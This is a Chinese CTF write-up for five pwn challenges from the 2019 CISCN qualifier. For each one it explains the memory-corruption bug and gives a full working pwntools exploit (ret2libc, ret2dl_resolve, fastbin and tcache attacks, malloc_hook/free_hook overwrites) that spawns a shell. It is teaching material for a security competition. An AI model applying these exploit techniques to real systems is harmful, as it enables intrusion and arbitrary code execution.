2019国赛 ciscn 预赛的前五道pwn:your_pwn、baby_pwn、Double、daily、bms
0x01 your_pwn 漏洞点
读取数组索引的时候没有限制,所以会引发数组越界漏洞,造成栈空间任意地址读写,所以思路是先泄露栈中的某个返回地址,获取函数装载基地址,就可以计算出plt表和got表的地址,然后再改返回地址进行ROP即可 调试信息如下:可以算出返回地址相对数组起始地址的偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 gdb-peda$ x/120xg $rsp 0x7fffffffda20: 0x0000015c55000000 0x0000000700000055 0x7fffffffda30: 0x0000000000030201 0x0000000000000000 <- 数组起始 0x7fffffffda40: 0x0000000000000000 0x0000000000000000 ... 0x7fffffffdb50: 0x0000000000000000 0x0000000000000000 0x7fffffffdb60: 0x0000000000000000 0x0000000000000000 0x7fffffffdb70: 0x0000000000000000 0x633df2e251a0f000 0x7fffffffdb80: 0x00007fffffffdca0 0x0000555555554b0b <- 子函数返回地址db88 0x7fffffffdb90: 0x0000000a61616161 0x0000000000000000 ... 0x7fffffffdc90: 0x00007fffffffdd80 0x633df2e251a0f000 0x7fffffffdca0: 0x0000555555554ca0 0x00007ffff7a2d830 <- main返回地址dca8 0x7fffffffdcb0: 0x0000000000000000 0x00007fffffffdd88 offset_返回地址 = 0xdb88 - 0xda30 = 344 (0x158) offset_main返回地址 = 0xdca8 - 0xda30 = 632
尝试了一下,改写sub_B35的返回地址好像不行,所以我选择改写main函数的返回地址来ROP(return to libc)
完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 from pwn import *if args['REMOTE' ]: p = remote('1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com' ,57856 ) else : p = process('./pwn' ) elf = ELF('./pwn' ) libc = elf.libc def read (index ): p.sendlineafter('input index' ,str (index)) p.recvuntil('now value(hex) ' ) for i in range (4 ): value = p.recvn(2 ) if value != 'ff' : break if ord (value[1 ]) == 10 : value = '0' +value[0 :1 ] new_value = int (value,16 ) p.sendlineafter('input new value' ,str (new_value)) return value def write (index,new_value ): p.sendlineafter('input index' ,str (index)) p.sendlineafter('input new value' ,str (new_value)) def leak_addr (): addr = read(349 ) addr += read(348 ) addr += read(347 ) addr += read(346 ) addr += read(345 ) addr += read(344 ) addr = int (addr,16 )-2833 return addr def write_addr (offset,addr ): write(offset+0 ,int (addr[-2 :],16 )) write(offset+1 ,int (addr[-4 :-2 ],16 )) write(offset+2 ,int (addr[-6 :-4 ],16 )) write(offset+3 ,int (addr[-8 :-6 ],16 )) write(offset+4 ,int (addr[-10 :-8 ],16 )) write(offset+5 ,int (addr[-12 :-10 ],16 )) def leak_libc (): log.success(puts_plt) log.success(str (len (puts_plt))) write_addr(632 ,hex (pop_rdi)) write_addr(640 ,puts_got) write_addr(648 ,puts_plt) write_addr(656 ,hex (start)) for i in range (41 -6 -6 -6 -6 -6 ): write(0 ,1 ) p.sendlineafter('do you want continue(yes/no)?' ,'no' ) p.recvn(2 ) puts_addr = u64(p.recvn(6 ).ljust(8 ,'\x00' )) return puts_addr def get_shell (system_addr,binsh ): p.sendlineafter('name:' ,'sunxiaokong' ) write_addr(632 ,hex (pop_rdi)) write_addr(640 ,hex (binsh)) write_addr(648 ,hex (system_addr)) for i in range (41 -6 -6 -6 ): write(0 ,1 ) if __name__ == '__main__' : p.sendlineafter('name:' ,'lzx' ) elf.address = leak_addr() log.success('program address : ' + hex (elf.address)) puts_plt = hex (elf.plt['puts' ]) puts_got = hex (elf.got['puts' ]) puts_offset = libc.symbols['puts' ] log.success(puts_plt) pop_rdi = elf.address + 0x0000000000000d03 sub_B35 = elf.address + 0xb35 start = elf.address+0x950 puts_addr = leak_libc() libc.address = puts_addr - puts_offset log.success('libc address : ' + hex (libc.address)) system_addr = libc.symbols['system' ] binsh = next (libc.search('/bin/sh' )) get_shell(system_addr,binsh) p.interactive()
参考资料 return_to_libc的参考资料如下:https://www.freebuf.com/articles/rookie/182894.html https://segmentfault.com/a/1190000007406442
0x02 baby_pwn 漏洞点 就很明显的栈溢出,。但是程序中只有read函数可以利用,所以不能进行常规的ret_to_libc,只能用ret_2_dl_resolve。这道题和0ctf2016的babystack基本上是一样的,gdb调试确定偏移,然后用return to _dl_resolve即可
完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import roputilsfrom pwn import *read_plt = 0x08048390 bss = 0x0804a040 vul = 0x0804852d if args['REMOTE' ]: p = remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com' ,33865 ) else : p = process('./pwn' ) def getReloc (elf, base ): jmprel = elf.dynamic('JMPREL' ) relent = elf.dynamic('RELENT' ) addr_reloc, padlen_reloc = elf.align(base, jmprel, relent) reloc_offset = addr_reloc - jmprel return reloc_offset rop = roputils.ROP('./pwn' ) addr_bss = rop.section('.bss' ) payload1 = '0' * 44 payload1 += p32(read_plt) + p32(vul) + p32(0 ) + p32(addr_bss) + p32(100 ) p.send(payload1) payload2 = rop.string('sh' ) payload2 += rop.fill(20 , payload2) payload2 += rop.dl_resolve_data(addr_bss+20 , 'system' ) payload2 += rop.fill(100 , payload2) p.send(payload2) payload3 = '0' *44 + rop.dl_resolve_call(addr_bss+20 , addr_bss) p.send(payload3) p.interactive()
参考资料 关于ret_to_dl_resolve可以参考以下链接,都比较详细https://rk700.github.io/2015/08/09/return-to-dl-resolve/ http://pwn4.fun/2016/11/09/Return-to-dl-resolve/ https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop/#ret2_dl_runtime_resolve
0x03 Double 程序逻辑 程序维护了一个单向链表,有两个全局变量,一个全局变量是链表头,一个全局变量是链表尾。链表节点结构体如下:
漏洞点 如果连续两个申请的content的内容是一样的话,两个结构体的content指针是会指向同一个chunk的,这样就会造成两个指针同时指向同一个chunk ,可以类似UAF 一样利用
利用思路 先连续申请两个相同的content,大小为unsorted bin的chunk大小,这样,free掉其中一个,把另一个打印出来时就会泄露出main_arena中的某个地址,可以推出libc的地址。然后再连续申请两个相同的content,大小为fastbin的chunk大小,free掉其中一个,使用edit功能修改另一个的content时,就可以修改fastbin中那个chunk的fd指针,使其指向malloc_hook附近,再连续分配两次,就可以分到一个malloc_hook附近的fake_chunk,第二次申请的时候顺便用onegadget填充malloc_hook即可。
泄露libc 1 2 3 4 5 6 unsortedbin all: 0x916020 —▸ 0x7fb1ba0c3b78 (main_arena+88) ◂— 0x916020 .... 0x7fb1b9cff000 0x7fb1b9ebf000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7fb1a0c3b78就是泄露出来的地址,0x7fb1b9cff000就是libc的装载基地址,可以计算出偏移
修改fd,分配到malloc_hook 1 2 3 4 5 6 7 8 9 pwndbg> x/14xg 0x7f85ad672b10-0x40 0x7f85ad672ad0 <_IO_wide_data_0+272>: 0x0000000000000000 0x0000000000000000 0x7f85ad672ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000 0x7f85ad672af0 <_IO_wide_data_0+304>: 0x00007f85ad671260 0x0000000000000000 <<<---fake_chunk->size 0x7f85ad672b00 <__memalign_hook>: 0x00007f85ad333e20 0x00007f85ad333a00 0x7f85ad672b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 <<<-----malloc_hook 0x7f85ad672b20 <main_arena>: 0x0000000000000000 0x0000000000000000 0x7f85ad672b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
上面第一个箭头指的地方,0x7f85ad672af5这个地址可以作为 fake chunk 的size域 可得:
1 2 3 fake_chunk->size = 0x7f85ad672af5 malloc_hook = 0x7f85ad672b10 offset = 0x7f85ad672b10 - 0x7f85ad672af5 = 0x1b + 0x10 = 0x2b
最后调用malloc触发onegadget即可
完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *if args['REMOTE' ]: p = remote('e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com' ,40002 ) else : p = process('./pwn' ) elf = ELF('./pwn' ) libc = elf.libc def new (content ): p.sendlineafter('> ' ,'1' ) p.sendlineafter('Your data:' ,content) def show (index ): p.sendlineafter('> ' ,'2' ) p.sendlineafter('Info index: ' ,str (index)) def edit (index,new_content ): p.sendlineafter('> ' ,'3' ) p.sendlineafter('Info index: ' ,str (index)) p.sendline(new_content) def delete (index ): p.sendlineafter('> ' ,'4' ) p.sendlineafter('Info index: ' ,str (index)) def leak_libc (): new('a' *128 ) new('a' *128 ) delete(0 ) show(1 ) libc_addr = u64(p.recvn(6 ).ljust(8 ,'\x00' )) - 0x3c4b78 return libc_addr def ow_malloc_hook (fake_chunk,one_gadget ): new('b' *0x60 ) new('b' *0x60 ) delete(2 ) payload1 = p64(fake_chunk).ljust(0x60 ,'\x00' ) edit(3 ,payload1) payload2 = 'a' *(0x13 )+p64(one_gadget) payload2 = payload2.ljust(0x60 ,'\x00' ) new('c' *0x60 ) new(payload2) if __name__ == '__main__' : libc.address = leak_libc() log.success(hex (libc.address)) malloc_hook = libc.symbols['__malloc_hook' ] fake_chunk = malloc_hook - 0x1b -8 log.success('__malloc_hook : ' + hex (malloc_hook)) one_gadget = libc.address + 0x4526a ow_malloc_hook(fake_chunk,one_gadget) p.sendlineafter('> ' ,'1' ) gdb.attach(p) p.interactive()
参考资料 类似本题中第一阶段利用 unsorted bin 泄露libc基地址的题:https://github.com/susers/Writeups/blob/master/2017/%E5%8E%A6%E9%97%A8%E9%82%80%E8%AF%B7%E8%B5%9B/Pwn/pwn2/exp.py 类似本题中第二阶段 fastbin attack 同样利用方式的题:https://bbs.pediy.com/thread-223461.htm http://lvtao.pro/2018/11/10/fastbin-attack-2017-0ctf-babyheap/
0x04 daily 漏洞点 在remove函数里,没有对index进行检测,那么如果我们能泄露一个堆的地址,在堆上伪造一个daily结构体,使之指向我们想要的地址,结合伪造,就能实现UAF和分配到.bss段之类的了。
泄露堆地址 通过fastbin单链表来泄露堆的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 def leak_heap (): new(0x60 , 'a' ) new(0x60 , 'a' ) delete(0 ) delete(1 ) new(0x60 , 'A' ) show() p.recvuntil('0 : A' ) heap_addr = u64(('\x00' + p.recvuntil('=' , drop=True )).ljust(8 ,'\x00' )) log.success('heap address : ' + hex (heap_addr)) return heap_addr
泄露libc地址 通过unsorted bin来泄露libc地址。可以在堆中伪造一个daily结构体,其content指针指向一个已经存在在真实daily_list数组中的地址,计算index偏移,将其delete,就能够通过打印真实daily_list数组中的content将main_arena的地址泄露出来,即UAF释放后重用的原理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def leak_libc (heap_addr ): chunk_list = 0x602060 fake_content = heap_addr + 0x70 + 0x70 + 0x10 fake_index = (heap_addr+ 0x10 - chunk_list)/0x10 new(0x60 , p64(0x80 )+p64(fake_content)) new(0x100 , p64(1 )) new(0x60 , 'a' ) delete(fake_index) show() p.recvuntil('2 : ' ) leak_addr = u64(p.recvn(6 ).ljust(8 ,'\x00' )) log.success('leak address : ' + hex (leak_addr)) offset = 0x7f6f0c800b78 - 0x00007f6f0c43c000 libc.address = leak_addr - offset log.success('libc address : ' + hex (libc.address))
分配堆到全局变量上,修改free_hook 跟刚才一样,通过UAF修改一个fastbin中的chunk的fd指针,使之指向daily_list中伪造好size的fake_chunk,连续分配两次即可分配到.bss段的全局变量daily_list上,将某个content指针覆写成free_hook的地址,再使用change功能将free_hook内容修改成system函数装载地址即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def fastbin_attack (): chunk_list = 0x602060 fake_content = heap_addr + 0x70 + 0x70 + 0x110 +0x10 fake_index = (heap_addr+ 0x10 - chunk_list)/0x10 change(1 , p64(0x60 ) + p64(fake_content)) delete(fake_index) free_hook = libc.symbols['__free_hook' ] log.success('free hook : ' + hex (free_hook)) new(0x71 ,'a' ) fake_chunk = chunk_list + 0x38 change(3 ,p64(fake_chunk)) new(0x60 , 'a' ) new(0x60 , p64(free_hook)) system = libc.symbols['system' ] change(4 , p64(system)) change(0 , '/bin/sh' ) delete(0 )
完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import *p = process('./pwn' ) elf = ELF('./pwn' ) libc = elf.libc def show (): p.recvuntil(":" ) p.sendline("1" ) def new (lens, content ): p.recvuntil(":" ) p.sendline("2" ) p.recvuntil(":" ) p.sendline(str (lens)) p.recv() p.send(content) def change (index, content ): p.recvuntil(":" ) p.sendline("3" ) p.recvuntil(":" ) p.sendline(str (index)) p.recv() p.send(content) def delete (index ): p.recvuntil(":" ) p.sendline("4" ) p.recvuntil(":" ) p.sendline(str (index)) def leak_heap (): new(0x60 , 'a' ) new(0x60 , 'a' ) delete(0 ) delete(1 ) new(0x60 , 'A' ) show() p.recvuntil('0 : A' ) heap_addr = u64(('\x00' + p.recvuntil('=' , drop=True )).ljust(8 ,'\x00' )) log.success('heap address : ' + hex (heap_addr)) return heap_addr def leak_libc (heap_addr ): chunk_list = 0x602060 fake_content = heap_addr + 0x70 + 0x70 + 0x10 fake_index = (heap_addr+ 0x10 - chunk_list)/0x10 new(0x60 , p64(0x80 )+p64(fake_content)) new(0x100 , p64(1 )) new(0x60 , 'a' ) delete(fake_index) show() p.recvuntil('2 : ' ) leak_addr = u64(p.recvn(6 ).ljust(8 ,'\x00' )) log.success('leak address : ' + hex (leak_addr)) offset = 0x7f6f0c800b78 - 0x00007f6f0c43c000 libc.address = leak_addr - offset log.success('libc address : ' + hex (libc.address)) def fastbin_attack (): chunk_list = 0x602060 fake_content = heap_addr + 0x70 + 0x70 + 0x110 +0x10 fake_index = (heap_addr+ 0x10 - chunk_list)/0x10 change(1 , p64(0x60 ) + p64(fake_content)) delete(fake_index) free_hook = libc.symbols['__free_hook' ] log.success('free hook : ' + hex (free_hook)) new(0x71 ,'a' ) fake_chunk = chunk_list + 0x38 change(3 ,p64(fake_chunk)) new(0x60 , 'a' ) new(0x60 , p64(free_hook)) system = libc.symbols['system' ] change(4 , p64(system)) change(0 , '/bin/sh' ) delete(0 ) if __name__ == '__main__' : heap_addr = leak_heap() leak_libc(heap_addr) fastbin_attack() p.interactive()
0x05 bms 本题我是赛后复盘,听说比赛中是glibc-2.26的版本,我用的是glibc-2.27版本复现,利用方式一样。
程序分析 在delete功能函数中存在free后指针不清零 的漏洞,由于glibc版本 > 2.26 ,可以导致tcache bin的double free
tcache_dup 的相关介绍:https://firmianay.gitbooks.io/ctf-all-in-one/doc/4.14_glibc_tcache.html
覆盖_IO_2_1_stdout_ ,泄露libc地址 但是程序中没有打印输出的功能,无法通过常规的UAF泄露libc地址。因此本题利用tcache_dup 分配chunk到**IO_2_1_stdout ,覆盖 IO_2_1_stdout 结构体中的 _IO_write_base、_IO_write_ptr、_IO_write_end**来打印出某个libc函数got表中的地址,达到泄露libc地址的目的。
这种泄露地址方式的相关介绍:
https://www.bbsmax.com/A/Gkz1m1jNzR/
https://xz.aliyun.com/t/5057#toc-0
https://zszcr.github.io/2019/03/18/2019-3-18-tcache%E4%B8%8B%E7%9A%84%E5%87%A0%E9%81%93pwn%E9%A2%98/
劫持__free_hook 泄露出libc的地址后,再做一次tcache_dup,将chunk分配到**__free_hook,将 __free_hook的值修改为 system函数的地址。再释放一个内容为 ‘/bin/sh’字符串的chunk即可触发 system(‘/bin/sh’)**
完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *p = process('./pwn' ) elf = ELF('./pwn' ) libc = elf.libc p.sendlineafter('username:' , 'admin' ) p.sendlineafter('password:' , 'frame' ) def add (name,size,description ): p.sendlineafter('>' , '1' ) p.sendlineafter('book name:' , name) p.sendlineafter('description size:' , str (size)) p.sendafter('description:' , description) def delete (index ): p.sendlineafter('>' , '2' ) p.sendlineafter('index:' , str (index)) def leak_libc (): puts_got = elf.got['puts' ] puts_offset = libc.symbols['puts' ] stdout = 0x602020 add('0' , 0x60 , 'a' ) delete(0 ) delete(0 ) add('1' , 0x60 , p64(stdout)) add('2' , 0x60 , 'a' ) add('3' , 0x60 , '\x60' ) fake_stdout = p64(0xfbad1800 )+p64(0 )*3 +p64(puts_got)+p64(puts_got+8 )+p64(puts_got+8 ) add('4' , 0x60 , fake_stdout) data = p.recvn(8 ) puts_addr = u64(data) log.success('puts_addr : ' + hex (puts_addr)) libc.address = puts_addr - puts_offset log.success('libc address : ' + hex (libc.address)) def hijack_free_hook (): free_hook = libc.symbols['__free_hook' ] log.success('__free_hook : ' + hex (free_hook)) system = libc.symbols['system' ] add('5' , 0x30 , 'a' ) delete(5 ) delete(5 ) add('6' , 0x30 , p64(free_hook)) add('7' , 0x30 , '/bin/sh\x00' ) add('8' , 0x30 , p64(system)) delete(7 ) leak_libc() hijack_free_hook() p.interactive()